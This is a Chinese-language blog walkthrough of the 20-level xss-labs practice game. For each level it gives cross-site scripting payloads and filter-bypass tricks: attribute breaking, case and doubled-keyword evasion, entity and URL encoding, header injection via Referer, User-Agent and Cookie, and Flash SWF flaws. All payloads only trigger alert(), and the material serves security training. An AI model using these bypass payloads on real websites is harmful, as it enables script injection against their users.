返回上一级

# XSS闯关小游戏

# 前言:

XSS的介绍:https://blog.csdn.net/weixin_45798017/article/details/105343314

# 准备:

在线游戏:http://test.xss.tv (opens new window)

自己搭建:

下载phpstudy (opens new window)->下载xss-lab (opens new window)->将xss-lab放到phpstudy目录下的WWW里面

打开phpstudy的apache,浏览器访问:127.0.0.1/xss-lab

注意:xss最好搭建在虚拟机中,因为搭建在本机中无法利用burpsuite抓包

# 游戏:

# level 1

img

payload:

plain

<script>alert()</script>
1
2
3

# level 2

尝试level 1的方法,不行,F12查看源代码,发现方框里的被“ ”当作字符串了

img

想办法把value后面的“过滤掉,或者闭合

payload

plain

"><script>alert()</script>
或者  "onclick=alert()>    需要点击一下输入框。
或者  "onmouseover=alert()>需要要鼠标滑过输入框
1
2
3
4
5

payload

plain

">&lt;script>alert()&lt;/script>
或者  "onclick=alert()>    需要点击一下输入框。
或者  "onmouseover=alert()>需要要鼠标滑过输入框
 
        代码已复制
    
1
2
3
4
5
6
7
8

img

# level 3

img

同样的直接输入payload执行语句会被当做value的字符串,用”闭合,然后无法执行

查看php中的源代码,显示value最后的是 ‘ 结尾的

img

plain

&lt;input name=keyword  value='".htmlspecialchars($str)."'>    //可以从这个看到value值也被实体化,value的值执行了htmlspecialchars($str)函数,它的作用是把预定义的字符 “&lt;” (小于)和 “>” (大于)转换为 HTML 实体,所以不能使用尖括号
 
        代码已复制
    
1
2
3
4
5
6

img

但是htmlspecialchars默认配置是不过滤单引号。只有设置了:quotestyle选项为ENT_QUOTES,才可以;那么可以用单引号闭合并且不能包含<>则

payload

plain

'onclick=alert()//    //是把后面的语句注释了
或者 'onmouseover=alert()//
 
        代码已复制
    
1
2
3
4
5
6
7

# level 4

level 4和level 3原理类似

只是value后面以双引号结束,同时发生了替换函数

img

img

将输入的<和>替换过滤了

可以利用和level 3类似的方法

执行payload

plain

"onclick=alert()//
或者"onmouseover=alert()//
 
        代码已复制
    
1
2
3
4
5
6
7

# level 5

img

查看源码,发现执行了两个替换函数,将script和on都替换了,所以script和onclick还有onmouseover的标签都没法使用。

尝试执行a的标签

payload

plain

">&lt;a href=javascript:alert()>test&lt;/a>
 
        代码已复制
    
1
2
3
4
5
6

img

# level 6

img

过滤了script,on,src,data,href,但由于是用str_replace函数来过滤的,所以可以用大小写绕过

payload

plain

">&lt;a Href=javascript:alert()>test&lt;/a>
或者">&lt;Script>alert()&lt;/Script>
或者"Onclick=alert()>
或者"Onmouseover=alert()>
 
        代码已复制
    
1
2
3
4
5
6
7
8
9

# level 7

img

很显然,过滤了script,on,src,data,href,尝试通过重叠拼写进行绕过注入

payload

plain

">&lt;a hhrefref=javasscriptcript:alert()>test&lt;/a>
或者">&lt;sscriptcript>alert()&lt;/sscriptcript>
或者"oonnclick=alert()>
或者"oonnmouseover=alert()>
 
        代码已复制
    
1
2
3
4
5
6
7
8
9

# level 8

img

随便输入数值,F12查看源码,可以看出下面的href友情链接显示的为输入的值,那么直接用javascript的标签

但是,

img

很显然过滤了script,on,src,data,href还有双引号,尝试利用html编码绕过

img

payload

plain

javascri&amp;#112;t:alert()
 
        代码已复制
    
1
2
3
4
5
6

# level 9

img

很显然过滤了script,on,src,data,href还有双引号,同时对value的值进行了htmlspecialchars($str)函数的转换,上题相似

img

同时,多了一个url检测,如果发现没有带http:// 内容则会显示不合法, 那么怎么可以既有它,又不让它执行呢?只需填加个注释,(可选择多行注释和单行注释)包含http://就行了

payload

plain

javascri&amp;#112;t:alert()//http://
 
        代码已复制
    
1
2
3
4
5
6

# level 10

F12查看网页源代码,同时查看php中的源代码

img

img

可以看出有三个参数的属性是hidden,同时t_sort是传参的

所以构建payload

plain

?t_sort=" onclick=alert() type="button"
或者 ?t_sort=" onclick=alert() type="text"
或者直接在上面的url栏的最后添加&amp;t_sort=" onclick=alert() type="text"(或者button属性的)
 
        代码已复制
    
1
2
3
4
5
6
7
8

img

# level 11

img

分析源码可得知t_ref字段是http referer的值,根据http_referer 参数想到了HTTP头,那么我们可以在请求头进行XSS注入,这一关很显然注入点在Referer所以可以利用burpsuite抓包修改Referer的值(hackbar没有成功)

修改前:

img

修改后:

img

img

# level 12

img

根据HTTP_USER_AGENT参数还是想到了HTTP请求头中的user-agent,那么,同理可以按照第十一关的方法来做:

这里直接利用hackbar就成功了

payload

plain

" onclick=alert() type="button"
或者 " onclick=alert() type="text"
onclick换成onmouseover都可以
 
        代码已复制
    
1
2
3
4
5
6
7
8

或者burpsuite抓包修改

img

img

# level 13

img

和上面的方法类似,只不过这里变成了cookie了,hackbar没法用,所以用burpsuite

payload和上面的一样

img

img

# level 14

由于exifviewer现在不支持上传了,这个漏洞是以前该网站存在的一个漏洞,现在也已经无法复现了

# level 15

查看源码

img

注意到了ng-include,ng-include相当于php的include函数,然后src参数被转义了,最终我们 可以include leve1然后再用img标签传xss

img

payload

plain

url栏最后添加
?src='level1.php?name=&lt;img src=1 onerror=alert()>'
 
        代码已复制
    
1
2
3
4
5
6
7

# level 16

查看源码

img

输入的东西经过了大小写的转换并且通过四次的替换检查,分别对script,空格,/,进行了替换,但是有一点很重要,尖括号没有被替换,这给我们留下很大的利用空间。

另外script被替代,我们可以使用img标签,剩下我们就需要考虑如何把空格的影响给去掉,这时候就需要使用url编码来进行绕过了,可以选择%0d %0a (表会回车换行)进行绕过,构造出最后的payload

plain

=&lt;img%0dsrc=1%0donclick=alert()>
 
        代码已复制
    
1
2
3
4
5
6

img

# level 17

这关做了个寂寞,点击直接进入下一关了

img

# level 18

img

有两个get类型的参数,可以直接构建payload

plain

%20onmouseover=alert()      //%20是空格
或者直接在url后面添加%20onmouseover=alert()
 
        代码已复制
    
1
2
3
4
5
6
7

img

# level 19

查看源码

img

flash xss,需要对flash的反编译对源码进行分析,这里使用jpexs-decompiler (opens new window) (opens new window)来分析,首先定位getURL函数

img

然后追踪到sIFR的内容

img

得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数

img

所以我们可以构造 标签来传值,构建payload

plain

?arg01=version&amp;arg02=&lt;a%20href="javascript:alert()">test&lt;/a>
 
        代码已复制
    
1
2
3
4
5
6

img

# level 20

img

将xsf04.swf文件分析得知分析得知是zeroclipboard.swf

这一题用到了zeroclipboard xss,具体可以参考这篇文章: https://www.freebuf.com/sectool/108568.html 国内广泛使用了zeroclipboard.swf,主要的功能是复制内容到剪切板,中间由flash进行中转保证兼容主流浏览器,具体做法就是使这个透明的flash漂浮在复制按钮之上

看一下源码: 使用jpexs反编译(swf反编译工具:https://github.com/jindrapetrik/jpexs-decompiler ) 原因显而易见,Externalinterface.call第二个参数传回来的id没有正确过滤导致xss

img

构建payload

plain

?arg01=id&amp;arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
 
        代码已复制
    
1
2
3
4
5
6

img

------ 本文结束,感谢您的阅读 ------

本文作者: Sculptor(opens new window) (opens new window)

本文链接: https://sculptor-liu.github.io/2020/10/24/xss%E9%97%AF%E5%85%B3%E5%B0%8F%E6%B8%B8%E6%88%8F/(opens new window) (opens new window)

版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA (opens new window) (opens new window)许可协议。转载请注明出处!

最近更新: 10/14/2024, 3:33:26 PM
编程导航   |